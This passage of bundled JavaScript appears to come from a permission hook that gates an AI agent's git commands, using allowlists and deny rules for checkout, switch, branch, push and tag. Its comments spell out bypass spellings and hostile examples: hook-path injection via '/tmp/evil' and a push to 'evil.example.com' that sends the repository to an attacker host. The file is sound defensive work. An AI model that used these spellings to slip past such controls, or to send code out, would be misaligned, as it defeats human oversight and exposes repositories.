continue;\n		}\n		if (token !== void 0 && !token.startsWith(\"-\")) positionals.push(token);\n	}\n	if (positionals.length !== 1) return false;\n	const worktreePath = positionals[0];\n	if (worktreePath === void 0) return false;\n	const basename = path.basename(worktreePath);\n	return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(basename);\n}\n/**\n* True when a global flag sits before the subcommand that enables config or\n* executable injection (GIT_DANGEROUS_FLAGS) or repoints git at an arbitrary\n* directory (GIT_REPO_REDIRECT_FLAGS). Global flags sit *before* the\n* subcommand; only that span is inspected so a positional argument that\n* happens to be spelled \"-C\" is never mistaken for the flag. Shared by\n* isGitSafeWriteOp and isGitBareCheckout -- mirrors isGitFeatureBranchWrite's\n* and isGitSafePush's identical scans (same constants, same rationale).\n* Without this, `git -c core.hooksPath=/tmp/evil add file.txt` or\n* `git -C /etc worktree add ../wt feat/x` would auto-approve via the\n* branches below.\n*/\nfunction hasGitPreSubcommandDangerousFlag(tokens, sub) {\n	const subIdx = tokens.indexOf(sub);\n	for (const t of tokens.slice(1, subIdx)) {\n		if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return true;\n		if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return true;\n	}\n	return false;\n}\n/**\n* True for a `checkout` that isn't branch creation (`-b`/`-B`, which stays\n* auto-approved via isGitSafeWriteOp -- deny rules run before allow rules\n* unconditionally, so a predicate that forgot to exclude them would start\n* denying branch creation) and carries no global config/exec-injection or\n* repo-redirect flag (those keep routing to the git-write catch-all, whose\n* message already covers them).\n*\n* `git checkout <ref>` (branch change) and `git checkout -- <path>` / `git\n* checkout <ref> -- <path>` (file restore) are not distinguishable from\n* syntax alone, so this predicate -- and the single deny rule built on it --\n* deliberately covers both shapes with one message carrying both redirects,\n* rather than two rules guessing at which one a bare `git checkout <arg>` is.\n*/\nfunction isGitBareCheckout(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"checkout\") return false;\n	if (isGitBranchCreation(tokens)) return false;\n	return !hasGitPreSubcommandDangerousFlag(tokens, sub);\n}\n/**\n* `git checkout -- <path>` restores files; the separator makes the argument\n* unambiguously a path rather than a branch. It discards uncommitted work, so\n* it is never auto-approved -- but `git restore -- <path>`, the spelling\n* git-bare-checkout's reason redirects to, only prompts. One risk, one tier.\n*\n* A `-f` spelling still denies: git-discard-changes is evaluated first.\n*\n* A trailing separator with nothing after it (`git checkout main --`, `git\n* checkout --`) is not a restore -- there is no pathspec to redirect to\n* `git restore`, so it keeps the bare-checkout deny.\n*/\nfunction isGitCheckoutPathRestore(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"checkout\") return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	const rest = tokens.slice(tokens.indexOf(sub) + 1);\n	const separatorIndex = rest.indexOf(\"--\");\n	if (separatorIndex === -1) return false;\n	return rest.slice(separatorIndex + 1).some((token) => !token.startsWith(\"-\"));\n}\n/**\n* True when a `switch`/`checkout` command carries a discard-changes spelling\n* after the subcommand: a prefix of `--force` or of `--discard-changes` (`--f`\n* and `--di` and longer -- git's parse-options accepts any unambiguous\n* long-option prefix), or a short cluster whose letters (before any\n* required-value option's attached value) contain `f`.\n*\n* Both long tests read `\"--force\".startsWith(token)`, never\n* `token.startsWith(\"--force\")`. `--force-create` shares the `--force` stem\n* and is a safe, auto-approved flag, so the reversed test would start denying\n* branch creation -- deny rules run before allow rules.\n*\n* This predicate has to be exhaustive rather than merely picking the deny\n* message: isGitUnrecognizedBranchFlag routes a flag outside the safe sets to\n* a human prompt, so a discard spelling missed here would soften to a prompt\n* instead of falling through to a deny.\n*/\nfunction isGitDiscardChanges(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"switch\" && sub !== \"checkout\") return false;\n	return tokens.slice(tokens.indexOf(sub) + 1).some((t) => {\n		if (t.length >= 3 && \"--force\".startsWith(t)) return true;\n		if (t.length >= 4 && \"--discard-changes\".startsWith(t)) return true;\n		return splitShortOptionCluster(t, sub)?.letters.includes(\"f\") ?? false;\n	});\n}\n/**\n* Tokens safe after `switch`, exact-match only. An allowlist rather than a\n* denylist of `-f`/`--discard-changes`: git accepts unambiguous prefixes\n* (`--disc`) and short clusters (`-fc`), so a denylist of exact spellings\n* would not hold. `-` (previous-branch shorthand) is flag-shaped and must be\n* listed explicitly, or it would fall through to the deny side.\n*/\nconst GIT_SWITCH_SAFE_FLAGS = /* @__PURE__ */ new Set([\n	\"-c\",\n	\"-C\",\n	\"--create\",\n	\"--force-create\",\n	\"-d\",\n	\"--detach\",\n	\"-t\",\n	\"--track\",\n	\"--track=direct\",\n	\"--track=inherit\",\n	\"--no-track\",\n	\"--guess\",\n	\"--no-guess\",\n	\"-q\",\n	\"--quiet\",\n	\"--progress\",\n	\"--no-progress\",\n	\"-\"\n]);\n/**\n* Tokens safe after `checkout`, kept separate from the switch set: `-c` is a\n* switch-only spelling and `-b`/`-B` are checkout-only, and sharing one set\n* would auto-approve each subcommand's flags on the other.\n*/\nconst GIT_CHECKOUT_SAFE_FLAGS = /* @__PURE__ */ new Set([\n	\"-b\",\n	\"-B\",\n	\"-t\",\n	\"--track\",\n	\"--track=direct\",\n	\"--track=inherit\",\n	\"--no-track\",\n	\"--guess\",\n	\"--no-guess\",\n	\"-q\",\n	\"--quiet\",\n	\"--progress\",\n	\"--no-progress\"\n]);\n/**\n* True when a flag-shaped switch/checkout token is safe: it is an exact\n* member of `safe`, or the helper reads it as a cluster whose every letter,\n* spelled `-<letter>`, is a member of `safe`. Exact-set membership is always\n* tried first and is the only test a non-cluster token (`-`, every long\n* flag) ever gets, so those keep matching exactly as they do today -- the\n* cluster reading is a fallback for short clusters only.\n*/\nfunction isSafeSwitchCheckoutFlag(t, sub, safe) {\n	if (safe.has(t)) return true;\n	const cluster = splitShortOptionCluster(t, sub);\n	return cluster !== void 0 && cluster.letters.every((l) => safe.has(`-${l}`));\n}\n/**\n* True for a `switch`, or a branch-creating `checkout`, that the safe-flag\n* allowlists reject only because a flag is unrecognized -- `--orphan`,\n* `--conflict=`, `--recurse-submodules`, an abbreviation of a safe flag.\n* Ambiguous, not known-unsafe: the allowlists enumerate what has been\n* reasoned about, and a legitimate flag nobody listed must reach a human\n* prompt rather than a hard deny (blocking something safe is the failure\n* direction this hook does not accept). Mirrors\n* isGitPushWithoutExplicitRefspec's role in the same git-write `when`.\n*\n* Three shapes are deliberately left to deny instead: a discard spelling\n* (git-discard-changes, and isGitDiscardChanges is exhaustive so that this\n* predicate cannot soften one to a prompt), a `checkout` that creates no\n* branch (git-bare-checkout, whose message carries the restore redirect), and\n* a global config/exec-injection or repo-redirect flag, which keeps routing to\n* the git-write catch-all exactly as isGitBareCheckout leaves it.\n*/\nfunction isGitUnrecognizedBranchFlag(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"switch\" && sub !== \"checkout\") return false;\n	if (isGitDiscardChanges(tokens)) return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	const after = tokens.slice(tokens.indexOf(sub) + 1);\n	if (sub === \"checkout\" && !isGitBranchCreation(tokens)) return false;\n	const safe = sub === \"switch\" ? GIT_SWITCH_SAFE_FLAGS : GIT_CHECKOUT_SAFE_FLAGS;\n	return after.some((t) => t.startsWith(\"-\") && !isSafeSwitchCheckoutFlag(t, sub, safe));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` -- staging is trivially reversible\n* - `git checkout -b/-B` -- branch creation, without a discarding flag\n* - `git switch -c/-C` -- branch creation, without a discarding flag\n* - `git switch <branch>` -- branch switching, without a discarding flag\n*   (switch only handles branches, unlike checkout)\n* - `git branch <name> [<start-point>]` -- branch creation, no checkout, under a non-protected name\n* - `git stash` / `git stash push|pop|apply|show` -- reversible stash operations\n* - `git mv` -- only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (!sub) return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	if (sub === \"add\") return true;\n	if (sub === \"branch\") return isGitBranchSafeCreate(tokens, ctx);\n	if (sub === \"mv\") {\n		const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n			\"-C\",\n			\"--git-dir\",\n			\"--work-tree\",\n			\"-c\",\n			\"--exec-path\"\n		]);\n		if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n		const paths = gitMvPaths(tokens);\n		return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n	}\n	if (sub === \"checkout\") {\n		const afterCheckout = tokens.slice(tokens.indexOf(\"checkout\") + 1);\n		if (!isGitBranchCreation(tokens)) return false;\n		if (!afterCheckout.every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"checkout\", GIT_CHECKOUT_SAFE_FLAGS))) return false;\n		return !isGitProtectedBranchForceCreate(tokens, ctx) && !isGitProtectedBranchCreate(tokens, ctx);\n	}\n	if (sub === \"switch\") {\n		if (!tokens.slice(tokens.indexOf(\"switch\") + 1).every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"switch\", GIT_SWITCH_SAFE_FLAGS))) return false;\n		return !isGitProtectedBranchForceCreate(tokens, ctx) && !isGitProtectedBranchCreate(tokens, ctx);\n	}\n	if (sub === \"stash\") {\n		const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n		if (stashAction === void 0) return true;\n		return STASH_SAFE_ACTIONS.has(stashAction);\n	}\n	if (sub === \"worktree\") {\n		const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n		if (worktreeAction !== \"list\" && worktreeAction !== \"add\") return false;\n		return !isGitProtectedBranchForceCreate(tokens, ctx) && !isGitProtectedBranchCreate(tokens, ctx) && !isGitWorktreeImplicitProtectedCreate(tokens, ctx);\n	}\n	return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n	\"commit\",\n	\"merge\",\n	\"rebase\",\n	\"cherry-pick\",\n	\"revert\",\n	\"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n	\"-C\",\n	\"--git-dir\",\n	\"--work-tree\"\n]);\n/**\n* Checks (2)-(4) of the feature-branch predicate -- subcommand membership\n* plus the three flag guards -- with the branch check (5) left out. \"Eligible\n* but for the branch\": isGitFeatureBranchWrite adds \"and the branch isn't\n* protected\", isGitProtectedBranchWrite adds \"and the branch is protected\".\n* A command this rejects (a dangerous flag, say) has no valid redirect to\n* the feature-branch path either way -- it stays on the git-write catch-all,\n* which is why both callers share this instead of each re-deriving their own\n* notion of \"would work on a feature branch\".\n*/\nfunction isGitFeatureBranchEligible(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n	for (const t of tokens.slice(1)) {\n		if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n		if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n		if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n	}\n	for (const t of tokens.slice(1)) {\n		if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n		if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n	}\n	if (sub === \"rebase\") {\n		for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n	}\n	return true;\n}\n/**\n* True when:\n*   1.-4. isGitFeatureBranchEligible(tokens);\n*   5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* Both must hold. Any failure -> return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n	if (!isGitFeatureBranchEligible(tokens)) return false;\n	const current = getCurrentBranch(ctx.cwd);\n	if (current === null) return false;\n	return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/**\n* True when a write is eligible for the feature-branch auto-approval\n* (isGitFeatureBranchEligible) but the current branch is known and\n* protected. An unknown branch -- detached HEAD, outside a repo, git state\n* unreadable -- must NOT take this rule: \"you are on a protected branch\" is\n* a claim the hook cannot make there, so those keep falling through to the\n* git-write catch-all.\n*/\nfunction isGitProtectedBranchWrite(tokens, ctx) {\n	if (!isGitFeatureBranchEligible(tokens)) return false;\n	const current = getCurrentBranch(ctx.cwd);\n	if (current === null) return false;\n	return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n	\"--mirror\",\n	\"--all\",\n	\"--tags\",\n	\"--follow-tags\",\n	\"--delete\",\n	\"-d\",\n	\"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument -- `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand -- but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n	\"--repo\",\n	\"--receive-pack\",\n	\"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n	\"--repo=\",\n	\"--receive-pack=\",\n	\"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook -- but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position -- bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) -- callers reject that\n* separately -- and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n	const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n	const colon = spec.lastIndexOf(\":\");\n	return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n*   1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n*   2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n*      --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n*      --push-option (GIT_PUSH_VALUE_FLAGS) -- these redirect the destination,\n*      the remote-side helper, or (for -o) the positional parse itself\n*      independently of the remote/refspec parsing below, so they must be\n*      rejected up front.\n*   3. No refspec begins with \"+\" -- a force-push the `--force` deny rule misses.\n*   4. Every refspec's *destination* is a non-protected branch, doesn't have\n*      an empty source (\":branch\", the unflagged spelling of --delete/-d),\n*      and isn't under refs/tags/ (the unflagged spelling of --tags). A\n*      current-branch check alone would happily approve `git push origin\n*      HEAD:main`.\n*   5. The remote, when named, is a configured remote -- never a URL or path, so\n*      the repo cannot be pushed to an arbitrary host.\n*   6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present -- an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity -- `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n	if (getGitSubcommand(tokens) !== \"push\") return null;\n	const pushIdx = tokens.indexOf(\"push\");\n	for (const t of tokens.slice(1, pushIdx)) {\n		if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n		if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n	}\n	const after = tokens.slice(pushIdx + 1);\n	if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n	const current = getCurrentBranch(ctx.cwd);\n	if (current === null) return null;\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	if (protectedSet.has(current)) return null;\n	const positional = after.filter((t) => !t.startsWith(\"-\"));\n	const maybeRemote = positional[0];\n	const refspecs = positional.slice(1);\n	if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n	for (const spec of refspecs) {\n		if (spec.startsWith(\"+\")) return null;\n		if (spec.startsWith(\":\")) return null;\n		const dst = refspecDestination(spec);\n		if (protectedSet.has(dst)) return null;\n		if (dst.startsWith(\"refs/tags/\")) return null;\n	}\n	return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one -- bare `git push`, or `git push <remote>`\n* with no refspec -- the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule -- even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) -- this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n	const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n	return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec -- the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny -- the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n	const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n	return refspecs !== null && refspecs.length === 0;\n}\n/** `git tag` read-only flags taking no argument. */\nconst GIT_TAG_READ_FLAGS_NOARG = /* @__PURE__ */ new Set([\n	\"-l\",\n	\"--list\",\n	\"-i\",\n	\"--ignore-case\",\n	\"--column\",\n	\"--omit-empty\"\n]);\n/** `git tag` read-only flags taking one argument, as `--flag value` or `--flag=value`. */\nconst GIT_TAG_READ_FLAGS_VALUE = /* @__PURE__ */ new Set([\n	\"--contains\",\n	\"--no-contains\",\n	\"--points-at\",\n	\"--merged\",\n	\"--no-merged\",\n	\"--sort\",\n	\"--format\"\n]);\n/**\n* `git branch` flags that select list mode -- a positional beside one of\n* these is a match pattern, not a branch name. Long-flag names only (no\n* leading dashes); `-l`/`-a`/`-r` are covered separately by\n* `GIT_BRANCH_LIST_SELECTOR_LETTERS`.\n*/\nconst GIT_BRANCH_LIST_SELECTOR_NAMES = /* @__PURE__ */ new Set([\n	\"list\",\n	\"all\",\n	\"remotes\",\n	\"show-current\",\n	\"contains\",\n	\"no-contains\",\n	\"merged\",\n	\"no-merged\",\n	\"points-at\"\n]);\n/**\n* `git branch` flags that change listing output but never select list mode\n* on their own -- a positional beside only these is still a branch name.\n* Measured against git 2.47.3: `git branch -v main`, `git branch\n* --sort=refname zzz`, `git branch --color main` and `git branch --abbrev\n* zzz` each **create** the branch.\n*/\nconst GIT_BRANCH_LIST_MODIFIER_NAMES = /* @__PURE__ */ new Set([\n	\"verbose\",\n	\"ignore-case\",\n	\"color\",\n	\"no-color\",\n	\"column\",\n	\"no-column\",\n	\"abbrev\",\n	\"no-abbrev\",\n	\"sort\",\n	\"format\"\n]);\n/** Short letters `git branch` accepts inside a listing cluster (`-av`, `-vv`). */\nconst GIT_BRANCH_LIST_LETTERS = /* @__PURE__ */ new Set([\n	\"a\",\n	\"r\",\n	\"l\",\n	\"v\",\n	\"i\"\n]);\n/** Of those, the ones that alone select list mode -- `a`, `r`, `l`. */\nconst GIT_BRANCH_LIST_SELECTOR_LETTERS = /* @__PURE__ */ new Set([\n	\"a\",\n	\"r\",\n	\"l\"\n]);\n/**\n* Long `git branch` flags whose value is the next token when spelled without\n* `=`. `--abbrev`, `--color` and `--column` are deliberately absent: measured,\n* they consume nothing (`git branch --color zz` creates `zz`), so treating\n* them as value-consuming would swallow a branch name and auto-approve\n* `git branch --color main` as a listing -- the exact bug this predicate\n* closes. `-u`/`--set-upstream-to` also consume the next token, but `-u` is\n* handled by `splitShortOptionCluster`'s own branch table, not by name here.\n*/\nconst GIT_BRANCH_VALUE_FLAG_NAMES = /* @__PURE__ */ new Set([\n	\"contains\",\n	\"no-contains\",\n	\"merged\",\n	\"no-merged\",\n	\"points-at\",\n	\"sort\",\n	\"format\",\n	\"set-upstream-to\"\n]);\n/** Exact `git branch` flag tokens safe on a plain branch creation. */\nconst GIT_BRANCH_CREATE_SAFE_FLAGS = /* @__PURE__ */ new Set([\n	\"-q\",\n	\"--quiet\",\n	\"-t\",\n	\"--track\",\n	\"--track=direct\",\n	\"--track=inherit\",\n	\"--no-track\"\n]);\n/** Short letters safe inside a creation cluster (`-qt`) -- `q` and `t` only. */\nconst GIT_BRANCH_CREATE_SAFE_LETTERS = /* @__PURE__ */ new Set([\"q\", \"t\"]);\n/**\n* Split the tokens after `git branch` into its flags and positionals -- the\n* one walk `isGitBranchListing`, `isGitBranchSafeCreate` and\n* `isGitProtectedBranchRefWrite` all share. A token not starting with `-` is\n* a positional. `--` matches no allowlist a caller checks, so it drops any\n* command carrying one to a prompt, and is otherwise skipped. A `--flag`\n* token is recorded by its name (the part before `=`) and consumes the\n* following token when it has no `=` and its name is in\n* `GIT_BRANCH_VALUE_FLAG_NAMES`. A short token is decomposed with\n* `splitShortOptionCluster(t, \"branch\")`, recording its letters and\n* consuming the following token when its attached value is the empty string\n* (a trailing `-u`).\n*/\nfunction splitGitBranchArgs(after) {\n	const flags = [];\n	const positionals = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (!t.startsWith(\"-\")) {\n			positionals.push(t);\n			continue;\n		}\n		if (t.startsWith(\"--\") && t !== \"--\") {\n			const eq = t.indexOf(\"=\");\n			const name = eq > 0 ? t.slice(2, eq) : t.slice(2);\n			flags.push({\n				raw: t,\n				name\n			});\n			if (eq < 0 && GIT_BRANCH_VALUE_FLAG_NAMES.has(name)) i++;\n			continue;\n		}\n		const cluster = splitShortOptionCluster(t, \"branch\");\n		if (cluster === void 0) {\n			flags.push({ raw: t });\n			continue;\n		}\n		flags.push({\n			raw: t,\n			letters: cluster.letters\n		});\n		if (cluster.attachedValue === \"\") i++;\n	}\n	return {\n		flags,\n		positionals\n	};\n}\n/**\n* `git branch` in a listing spelling. An allowlist, exactly like\n* `isGitTagListing`: an unrecognized flag returns false and costs a prompt,\n* never a write. Every long flag must be a selector or a modifier, and every\n* short token's letters must all be listing letters; then the command lists\n* when there are no positionals at all, or when a selector is present (a\n* long selector, or a cluster letter in `a`/`r`/`l`) -- a positional beside\n* only modifiers, or beside nothing recognized, is a branch name.\n*/\nfunction isGitBranchListing(after) {\n	const { flags, positionals } = splitGitBranchArgs(after);\n	let hasSelector = false;\n	for (const flag of flags) {\n		if (flag.letters !== void 0) {\n			if (!flag.letters.every((l) => GIT_BRANCH_LIST_LETTERS.has(l))) return false;\n			if (flag.letters.some((l) => GIT_BRANCH_LIST_SELECTOR_LETTERS.has(l))) hasSelector = true;\n			continue;\n		}\n		if (flag.name === void 0) return false;\n		if (GIT_BRANCH_LIST_SELECTOR_NAMES.has(flag.name)) {\n			hasSelector = true;\n			continue;\n		}\n		if (!GIT_BRANCH_LIST_MODIFIER_NAMES.has(flag.name)) return false;\n	}\n	return positionals.length === 0 || hasSelector;\n}\n/**\n* `git branch <name> [<start-point>]` (or `-t`/`--track`/`--no-track`/`-q`\n* added), under a name that is not protected. An allowlist for the same\n* reason `GIT_SWITCH_SAFE_FLAGS` is one: every flag token must be an exact\n* member of the small creation set, so a delete/rename/copy/force/upstream\n* flag -- whether spelled long or as a cluster letter -- falls through to\n* false rather than being auto-approved. `git branch <name>` does not move\n* HEAD, so unlike `switch -c`/`checkout -b` this is never advised into a\n* worktree (see `WORKTREE_ADVICE`, gated on `isGitBranchCreation`, which this\n* does not feed).\n*/\nfunction isGitBranchSafeCreate(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"branch\") return false;\n	const { flags, positionals } = splitGitBranchArgs(tokens.slice(tokens.indexOf(sub) + 1));\n	for (const flag of flags) {\n		if (flag.letters !== void 0) {\n			if (!flag.letters.every((l) => GIT_BRANCH_CREATE_SAFE_LETTERS.has(l))) return false;\n			continue;\n		}\n		if (!GIT_BRANCH_CREATE_SAFE_FLAGS.has(flag.raw)) return false;\n	}\n	if (positionals.length < 1 || positionals.length > 2) return false;\n	return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(positionals[0]);\n}\n/**\n* `git tag` in a listing spelling. A positional argument is a tag name (a\n* write) unless a list flag is present, in which case it is a match pattern.\n* Bare `git tag` has no positional at all and lists.\n*\n* `-n<num>` here means \"print this many annotation lines\" -- on `clean` the\n* same letter is the dry run, which is why the two subcommands do not share a\n* flag table.\n*/\nfunction isGitTagListing(after) {\n	let hasListFlag = false;\n	let positionals = 0;\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (!t.startsWith(\"-\")) {\n			positionals++;\n			continue;\n		}\n		if (t === \"-l\" || t === \"--list\") {\n			hasListFlag = true;\n			continue;\n		}\n		if (GIT_TAG_READ_FLAGS_NOARG.has(t)) continue;\n		if (/^-n\\d*$/.test(t)) continue;\n		const eq = t.indexOf(\"=\");\n		if (eq > 0 && GIT_TAG_READ_FLAGS_VALUE.has(t.slice(0, eq))) continue;\n		if (GIT_TAG_READ_FLAGS_VALUE.has(t)) {\n			i++;\n			continue;\n		}\n		return false;\n	}\n	return positionals === 0 || hasListFlag;\n}\n/**\n* `git clean` in a dry run. Requires `-f` to be absent rather than deciding\n* which flag wins when both are given -- that precedence is a git-version\n* behavior this hook would otherwise have to pin.\n*/\nfunction isGitCleanDryRun(after) {\n	let dryRun = false;\n	for (const t of after) {\n		if (!t.startsWith(\"-\")) continue;\n		if (t.startsWith(\"--\")) {\n			if (t === \"--force\") return false;\n			if (t === \"--dry-run\") dryRun = true;\n			continue;\n		}\n		if (t.slice(1).includes(\"f\")) return false;\n		if (t.slice(1).includes(\"n\")) dryRun = true;\n	}\n	return dryRun;\n}\n/**\n* Read-only spellings of subcommands whose writes are correctly denied. The\n* deny keys on the verb, so without this `git tag -l`, `git clean -n` and\n* `git <sub> --help` inherit the tier of `git tag v1.2.3`.\n*\n* An allowlist, not a denylist: an unrecognized flag returns false and keeps\n* today's deny, so a spelling missed here costs a prompt rather than an\n* unintended write.\n*/\nfunction isGitReadOnlyForm(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (!sub) return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	const after = tokens.slice(tokens.indexOf(sub) + 1);\n	if (after[0] === \"--help\") return true;\n	if (sub === \"tag\") return isGitTagListing(after);\n	if (sub === \"clean\") return 